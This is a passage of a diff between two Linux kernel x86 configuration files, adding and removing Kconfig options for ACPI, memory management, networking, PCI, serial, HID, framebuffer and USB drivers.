CONFIG_ACPI_CONFIGFS is not set # CONFIG_ACPI_PFRUT is not set CONFIG_ACPI_PCC=y -# CONFIG_ACPI_FFH is not set # CONFIG_PMIC_OPREGION is not set CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y @@ -492,6 +462,7 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set # CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -530,26 +501,19 @@ CONFIG_ISA_DMA_API=y # CONFIG_X86_X32_ABI is not set # end of Binary Emulations +CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y CONFIG_AS_SHA1_NI=y CONFIG_AS_SHA256_NI=y CONFIG_AS_TPAUSE=y -CONFIG_AS_GFNI=y -CONFIG_AS_VAES=y -CONFIG_AS_VPCLMULQDQ=y -CONFIG_AS_WRUSS=y -CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y # # General architecture-dependent options # +CONFIG_CRASH_CORE=y +CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y -CONFIG_HOTPLUG_CORE_SYNC=y -CONFIG_HOTPLUG_CORE_SYNC_DEAD=y -CONFIG_HOTPLUG_CORE_SYNC_FULL=y -CONFIG_HOTPLUG_SPLIT_STARTUP=y -CONFIG_HOTPLUG_PARALLEL=y CONFIG_GENERIC_ENTRY=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y @@ -573,8 +537,6 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y -CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y -CONFIG_ARCH_HAS_CPU_PASID=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_ARCH_WANTS_NO_INSTR=y @@ -593,9 +555,7 @@ CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y CONFIG_MMU_GATHER_MERGE_VMAS=y -CONFIG_MMU_LAZY_TLB_REFCOUNT=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y -CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y CONFIG_HAVE_CMPXCHG_DOUBLE=y @@ -632,11 +592,8 @@ CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 -CONFIG_HAVE_PAGE_SIZE_4KB=y -CONFIG_PAGE_SIZE_4KB=y CONFIG_PAGE_SIZE_LESS_THAN_64KB=y CONFIG_PAGE_SIZE_LESS_THAN_256KB=y -CONFIG_PAGE_SHIFT=12 CONFIG_HAVE_OBJTOOL=y CONFIG_HAVE_JUMP_LABEL_HACK=y CONFIG_HAVE_NOINSTR_HACK=y @@ -667,9 +624,7 @@ CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y CONFIG_ARCH_HAS_ELFCORE_COMPAT=y CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y CONFIG_DYNAMIC_SIGFRAME=y -CONFIG_ARCH_HAS_HW_PTE_YOUNG=y CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y -CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y # # GCOV-based kernel profiling @@ -680,12 +635,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y CONFIG_HAVE_GCC_PLUGINS=y CONFIG_GCC_PLUGINS=y # CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set -CONFIG_FUNCTION_ALIGNMENT_4B=y -CONFIG_FUNCTION_ALIGNMENT_16B=y -CONFIG_FUNCTION_ALIGNMENT=16 # end of General architecture-dependent options CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 CONFIG_MODULES=y # CONFIG_MODULE_FORCE_LOAD is not set # CONFIG_MODULE_UNLOAD is not set @@ -706,9 +659,9 @@ CONFIG_BLOCK_LEGACY_AUTOLOAD=y CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set -CONFIG_BLK_DEV_WRITE_MOUNTED=y # CONFIG_BLK_DEV_ZONED is not set # CONFIG_BLK_WBT is not set +# CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set # @@ -762,21 +715,19 @@ CONFIG_BINFMT_SCRIPT=y # Memory Management options # # CONFIG_SWAP is not set -CONFIG_HAVE_ZSMALLOC=y # -# Slab allocator options +# SLAB allocator options # +# CONFIG_SLAB is not set CONFIG_SLUB=y -# CONFIG_SLUB_TINY is not set +# CONFIG_SLOB is not set CONFIG_SLAB_MERGE_DEFAULT=y # CONFIG_SLAB_FREELIST_RANDOM is not set # CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SLAB_BUCKETS is not set # CONFIG_SLUB_STATS is not set CONFIG_SLUB_CPU_PARTIAL=y -# CONFIG_RANDOM_KMALLOC_CACHES is not set -# end of Slab allocator options +# end of SLAB allocator options # CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set # CONFIG_COMPAT_BRK is not set @@ -784,17 +735,13 @@ CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y -CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y -CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y -CONFIG_HAVE_GUP_FAST=y +CONFIG_HAVE_FAST_GUP=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set -CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y CONFIG_SPLIT_PTLOCK_CPUS=4 CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set -CONFIG_PCP_BATCH_SCALE_MAX=5 CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set @@ -823,17 +770,10 @@ CONFIG_ZONE_DMA32=y # # GUP_TEST needs to have DEBUG_FS enabled # -# CONFIG_DMAPOOL_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y -# CONFIG_MEMFD_CREATE is not set CONFIG_SECRETMEM=y # CONFIG_USERFAULTFD is not set # CONFIG_LRU_GEN is not set -CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y -CONFIG_PER_VMA_LOCK=y -CONFIG_LOCK_MM_AND_FIND_VMA=y -CONFIG_IOMMU_MM_DATA=y -CONFIG_EXECMEM=y # # Data Access Monitoring @@ -850,6 +790,7 @@ CONFIG_NET=y CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y +CONFIG_UNIX_SCM=y CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set @@ -872,13 +813,13 @@ CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" -# CONFIG_TCP_AO is not set # CONFIG_TCP_MD5SIG is not set # CONFIG_IPV6 is not set # CONFIG_MPTCP is not set # CONFIG_NETWORK_SECMARK is not set # CONFIG_NETWORK_PHY_TIMESTAMPING is not set # CONFIG_NETFILTER is not set +# CONFIG_BPFILTER is not set # CONFIG_IP_DCCP is not set # CONFIG_IP_SCTP is not set # CONFIG_RDS is not set @@ -908,7 +849,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set CONFIG_PCPU_DEV_REFCNT=y -CONFIG_MAX_SKB_FRAGS=17 CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_SOCK_RX_QUEUE_MAPPING=y @@ -948,7 +888,6 @@ CONFIG_ETHTOOL_NETLINK=y CONFIG_HAVE_EISA=y # CONFIG_EISA is not set CONFIG_HAVE_PCI=y -CONFIG_GENERIC_PCI_IOMAP=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set @@ -959,6 +898,7 @@ CONFIG_PCIEASPM_DEFAULT=y # CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y +CONFIG_PCI_MSI_IRQ_DOMAIN=y CONFIG_PCI_QUIRKS=y # CONFIG_PCI_DEBUG is not set # CONFIG_PCI_STUB is not set @@ -983,26 +923,21 @@ CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VMD is not set # -# Cadence-based PCIe controllers -# -# end of Cadence-based PCIe controllers - -# -# DesignWare-based PCIe controllers +# DesignWare PCI Core Support # -# CONFIG_PCI_MESON is not set # CONFIG_PCIE_DW_PLAT_HOST is not set -# end of DesignWare-based PCIe controllers +# CONFIG_PCI_MESON is not set +# end of DesignWare PCI Core Support # -# Mobiveil-based PCIe controllers +# Mobiveil PCIe Core Support # -# end of Mobiveil-based PCIe controllers +# end of Mobiveil PCIe Core Support # -# PLDA-based PCIe controllers +# Cadence PCIe controllers support # -# end of PLDA-based PCIe controllers +# end of Cadence PCIe controllers support # end of PCI controller drivers # @@ -1046,14 +981,12 @@ CONFIG_EXTRA_FIRMWARE="" # CONFIG_DEBUG_DEVRES is not set # CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set # CONFIG_TEST_ASYNC_DRIVER_PROBE is not set -CONFIG_GENERIC_CPU_DEVICES=y CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_GENERIC_CPU_VULNERABILITIES=y CONFIG_REGMAP=y CONFIG_REGMAP_MMIO=y CONFIG_DMA_SHARED_BUFFER=y # CONFIG_DMA_FENCE_TRACE is not set -# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set # end of Generic Driver Options # @@ -1063,11 +996,6 @@ CONFIG_DMA_SHARED_BUFFER=y # CONFIG_MHI_BUS_EP is not set # end of Bus devices -# -# Cache Drivers -# -# end of Cache Drivers - # CONFIG_CONNECTOR is not set # @@ -1094,22 +1022,20 @@ CONFIG_SYSFB_SIMPLEFB=y # EFI (Extensible Firmware Interface) Support # CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set CONFIG_EFI_RUNTIME_WRAPPERS=y # CONFIG_EFI_BOOTLOADER_CONTROL is not set # CONFIG_EFI_CAPSULE_LOADER is not set # CONFIG_EFI_TEST is not set # CONFIG_EFI_RCI2_TABLE is not set # CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_EARLYCON=y CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y # CONFIG_EFI_DISABLE_RUNTIME is not set # CONFIG_EFI_COCO_SECRET is not set # end of EFI (Extensible Firmware Interface) Support -# -# Qualcomm firmware drivers -# -# end of Qualcomm firmware drivers - # # Tegra firmware driver # @@ -1154,7 +1080,7 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set -# CONFIG_NVME_HOST_AUTH is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # @@ -1186,6 +1112,7 @@ CONFIG_BLK_DEV_NVME=y # EEPROM support # # CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_LEGACY is not set # CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set # CONFIG_EEPROM_IDT_89HPESX is not set @@ -1202,6 +1129,8 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_SENSORS_LIS3_I2C is not set # CONFIG_ALTERA_STAPL is not set # CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set @@ -1209,9 +1138,9 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set +# CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set # CONFIG_PVPANIC is not set -# CONFIG_KEBA_CP500 is not set # end of Misc devices # @@ -1323,7 +1252,6 @@ CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_ATA_SFF is not set CONFIG_MD=y # CONFIG_BLK_DEV_MD is not set -CONFIG_MD_BITMAP_FILE=y # CONFIG_BCACHE is not set CONFIG_BLK_DEV_DM_BUILTIN=y CONFIG_BLK_DEV_DM=y @@ -1356,7 +1284,6 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_DM_SWITCH is not set # CONFIG_DM_LOG_WRITES is not set # CONFIG_DM_INTEGRITY is not set -# CONFIG_DM_VDO is not set # CONFIG_TARGET_CORE is not set # CONFIG_FUSION is not set @@ -1383,7 +1310,6 @@ CONFIG_NET_CORE=y # CONFIG_GENEVE is not set # CONFIG_BAREUDP is not set # CONFIG_GTP is not set -# CONFIG_PFCP is not set # CONFIG_MACSEC is not set # CONFIG_NETCONSOLE is not set # CONFIG_TUN is not set @@ -1429,6 +1355,7 @@ CONFIG_E1000E=m CONFIG_E1000E_HWTS=y # CONFIG_IGB is not set # CONFIG_IGBVF is not set +# CONFIG_IXGB is not set # CONFIG_IXGBE is not set # CONFIG_IXGBEVF is not set # CONFIG_I40E is not set @@ -1436,12 +1363,11 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set -# CONFIG_IDPF is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set # CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set -# CONFIG_NET_VENDOR_META is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set @@ -1478,18 +1404,18 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_TI is not set # CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set -# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set +# CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # # PCS device drivers # -# CONFIG_PCS_XPCS is not set # end of PCS device drivers # CONFIG_PPP is not set @@ -1626,30 +1552,31 @@ CONFIG_TTY=y CONFIG_VT=y CONFIG_CONSOLE_TRANSLATIONS=y CONFIG_VT_CONSOLE=y +CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LEGACY_TIOCSTI is not set CONFIG_LDISC_AUTOLOAD=y # # Serial drivers # +CONFIG_SERIAL_EARLYCON=y CONFIG_SERIAL_8250=y # CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set CONFIG_SERIAL_8250_PNP=y # CONFIG_SERIAL_8250_16550A_VARIANTS is not set # CONFIG_SERIAL_8250_FINTEK is not set CONFIG_SERIAL_8250_CONSOLE=y -CONFIG_SERIAL_8250_PCILIB=y CONFIG_SERIAL_8250_PCI=y CONFIG_SERIAL_8250_EXAR=y CONFIG_SERIAL_8250_NR_UARTS=32 CONFIG_SERIAL_8250_RUNTIME_UARTS=32 CONFIG_SERIAL_8250_EXTENDED=y CONFIG_SERIAL_8250_MANY_PORTS=y -CONFIG_SERIAL_8250_PCI1XXXX=y CONFIG_SERIAL_8250_SHARE_IRQ=y +# CONFIG_SERIAL_8250_DETECT_IRQ is not set +# CONFIG_SERIAL_8250_RSA is not set CONFIG_SERIAL_8250_DWLIB=y CONFIG_SERIAL_8250_DW=y # CONFIG_SERIAL_8250_RT288X is not set @@ -1662,6 +1589,7 @@ CONFIG_SERIAL_8250_LPSS=y # # CONFIG_SERIAL_UARTLITE is not set CONFIG_SERIAL_CORE=y +CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set @@ -1684,7 +1612,6 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_SSIF_IPMI_BMC is not set # CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set @@ -1701,7 +1628,6 @@ CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set CONFIG_TCG_TPM=y -CONFIG_TCG_TPM2_HMAC=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y @@ -1719,6 +1645,8 @@ CONFIG_TCG_TIS=y # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set +CONFIG_RANDOM_TRUST_CPU=y +CONFIG_RANDOM_TRUST_BOOTLOADER=y # end of Character devices # @@ -1775,7 +1703,6 @@ CONFIG_I2C_ALGOBIT=y # CONFIG_I2C_SIS96X is not set # CONFIG_I2C_VIA is not set # CONFIG_I2C_VIAPRO is not set -# CONFIG_I2C_ZHAOXIN is not set # # ACPI drivers @@ -1840,9 +1767,9 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y # CONFIG_GPIOLIB is not set # CONFIG_W1 is not set # CONFIG_POWER_RESET is not set -# CONFIG_POWER_SEQUENCING is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set # CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set @@ -1854,8 +1781,8 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set +# CONFIG_BATTERY_MAX17040 is not set # CONFIG_BATTERY_MAX17042 is not set -# CONFIG_BATTERY_MAX1720X is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set # CONFIG_CHARGER_LTC4162L is not set @@ -1866,12 +1793,12 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_BATTERY_UG3105 is not set -# CONFIG_FUEL_GAUGE_MM8013 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set # CONFIG_THERMAL_STATISTICS is not set CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0 +# CONFIG_THERMAL_WRITABLE_TRIPS is not set CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y # CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set # CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set @@ -1897,6 +1824,7 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_INTEL_PCH_THERMAL is not set # CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set # CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers @@ -1910,12 +1838,10 @@ CONFIG_BCMA_POSSIBLE=y # Multifunction device drivers # # CONFIG_MFD_AS3711 is not set -# CONFIG_MFD_SMPRO is not set # CONFIG_PMIC_ADP5520 is not set # CONFIG_MFD_BCM590XX is not set # CONFIG_MFD_BD9571MWV is not set # CONFIG_MFD_AXP20X_I2C is not set -# CONFIG_MFD_CS42L43_I2C is not set # CONFIG_MFD_MADERA is not set # CONFIG_PMIC_DA903X is not set # CONFIG_MFD_DA9052_I2C is not set @@ -1926,6 +1852,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_DLN2 is not set # CONFIG_MFD_MC13XXX_I2C is not set # CONFIG_MFD_MP2629 is not set +# CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set @@ -1939,7 +1866,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_88PM805 is not set # CONFIG_MFD_88PM860X is not set # CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77541 is not set # CONFIG_MFD_MAX77693 is not set # CONFIG_MFD_MAX77843 is not set # CONFIG_MFD_MAX8907 is not set @@ -1963,6 +1889,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y +# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1974,7 +1901,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS6594_I2C is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1987,7 +1913,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set # CONFIG_MFD_ATC260X_I2C is not set -# CONFIG_MFD_CS40L50_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -2005,18 +1930,35 @@ CONFIG_MFD_SYSCON=y # Graphics support # CONFIG_APERTURE_HELPERS=y -CONFIG_SCREEN_INFO=y -CONFIG_VIDEO=y -# CONFIG_AUXDISPLAY is not set # CONFIG_AGP is not set # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set + +# +# ARM devices +# +# end of ARM devices + CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y # # Frame buffer Devices # +CONFIG_FB_CMDLINE=y +CONFIG_FB_NOTIFY=y CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +# CONFIG_FB_MODE_HELPERS is not set +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# # CONFIG_FB_CIRRUS is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set @@ -2033,6 +1975,7 @@ CONFIG_FB_EFI=y # CONFIG_FB_NVIDIA is not set # CONFIG_FB_RIVA is not set # CONFIG_FB_I740 is not set +# CONFIG_FB_LE80578 is not set # CONFIG_FB_MATROX is not set # CONFIG_FB_RADEON is not set # CONFIG_FB_ATY128 is not set @@ -2057,18 +2000,6 @@ CONFIG_FB_EFI=y # CONFIG_FB_MB862XX is not set # CONFIG_FB_SIMPLE is not set # CONFIG_FB_SM712 is not set -CONFIG_FB_CORE=y -CONFIG_FB_NOTIFY=y -# CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_DEVICE=y -CONFIG_FB_CFB_FILLRECT=y -CONFIG_FB_CFB_COPYAREA=y -CONFIG_FB_CFB_IMAGEBLIT=y -# CONFIG_FB_FOREIGN_ENDIAN is not set -CONFIG_FB_IOMEM_FOPS=y -CONFIG_FB_IOMEM_HELPERS=y -# CONFIG_FB_MODE_HELPERS is not set -# CONFIG_FB_TILEBLITTING is not set # end of Frame buffer Devices # @@ -2076,14 +2007,11 @@ CONFIG_FB_IOMEM_HELPERS=y # # CONFIG_LCD_CLASS_DEVICE is not set CONFIG_BACKLIGHT_CLASS_DEVICE=y -# CONFIG_BACKLIGHT_KTD2801 is not set -# CONFIG_BACKLIGHT_KTZ8866 is not set # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set # CONFIG_BACKLIGHT_ADP8860 is not set # CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3509 is not set # CONFIG_BACKLIGHT_LM3639 is not set # CONFIG_BACKLIGHT_LV5207LP is not set # CONFIG_BACKLIGHT_BD6107 is not set @@ -2108,7 +2036,10 @@ CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # end of Graphics support # CONFIG_SOUND is not set -CONFIG_HID_SUPPORT=y + +# +# HID support +# CONFIG_HID=y # CONFIG_HID_BATTERY_STRENGTH is not set # CONFIG_HIDRAW is not set @@ -2136,13 +2067,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_EMS_FF is not set # CONFIG_HID_ELECOM is not set # CONFIG_HID_ELO is not set -# CONFIG_HID_EVISION is not set # CONFIG_HID_EZKEY is not set # CONFIG_HID_GEMBIRD is not set # CONFIG_HID_GFRM is not set # CONFIG_HID_GLORIOUS is not set # CONFIG_HID_HOLTEK is not set -# CONFIG_HID_GOOGLE_STADIA_FF is not set # CONFIG_HID_VIVALDI is not set # CONFIG_HID_KEYTOUCH is not set # CONFIG_HID_KYE is not set @@ -2203,14 +2132,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_ZYDACRON is not set # CONFIG_HID_SENSOR_HUB is not set # CONFIG_HID_ALPS is not set -# CONFIG_HID_MCP2221 is not set # end of Special HID drivers -# -# HID-BPF support -# -# end of HID-BPF support - # # USB HID support # @@ -2226,9 +2149,11 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -CONFIG_I2C_HID=y +# +# I2C HID support +# # CONFIG_I2C_HID_ACPI is not set -# CONFIG_I2C_HID_OF is not set +# end of I2C HID support # # Intel ISH HID support @@ -2241,6 +2166,7 @@ CONFIG_I2C_HID=y # # CONFIG_AMD_SFH_HID is not set # end of AMD SFH HID Support +# end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_SUPPORT=y @@ -2249,7 +2175,6 @@ CONFIG_USB_COMMON=y CONFIG_USB_ARCH_HAS_HCD=y CONFIG_USB=y CONFIG_USB_PCI=y -CONFIG_USB_PCI_AMD=y # CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set # @@ -2261,7 +2186,6 @@ CONFIG_USB_DEFAULT_PERSIST=y # CONFIG_USB_OTG_PRODUCTLIST is not set # CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set CONFIG_USB_AUTOSUSPEND_DELAY=2 -CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1 # CONFIG_USB_MON is not set # @@ -2281,6 +2205,7 @@ CONFIG_USB_EHCI_PCI=m CONFIG_USB_EHCI_HCD_PLATFORM=m # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set +# CONFIG_USB_FOTG210_HCD is not set # CONFIG_USB_OHCI_HCD is not set # CONFIG_USB_UHCI_HCD is not set # CONFIG_USB_SL811_HCD is not set @@ -2325,10 +2250,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set - -# -# USB dual-mode controller drivers -# # CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set @@ -2353,9 +2274,9 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_CYPRESS_CY7C63 is not set # CONFIG_USB_CYTHERM is not set # CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set # CONFIG_USB_APPLEDISPLAY is not set # CONFIG_APPLE_MFI_FASTCHARGE is not set -# CONFIG_USB_LJCA is not set # CONFIG_USB_SISUSBVGA is not set # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set @@ -2418,7 +2339,6 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_DS1374 is not set # CONFIG_RTC_DRV_DS1672 is not set # CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_MAX31335 is not set # CONFIG_RTC_DRV_RS5C372 is not set # CONFIG_RTC_DRV_ISL1208 is not set # CONFIG_RTC_DRV_ISL12022 is not set @@ -2433,7 +2353,6 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_S35390A is not set # CONFIG_RTC_DRV_FM3130 is not set # CONFIG_RTC_DRV_RX8010 is not set -# 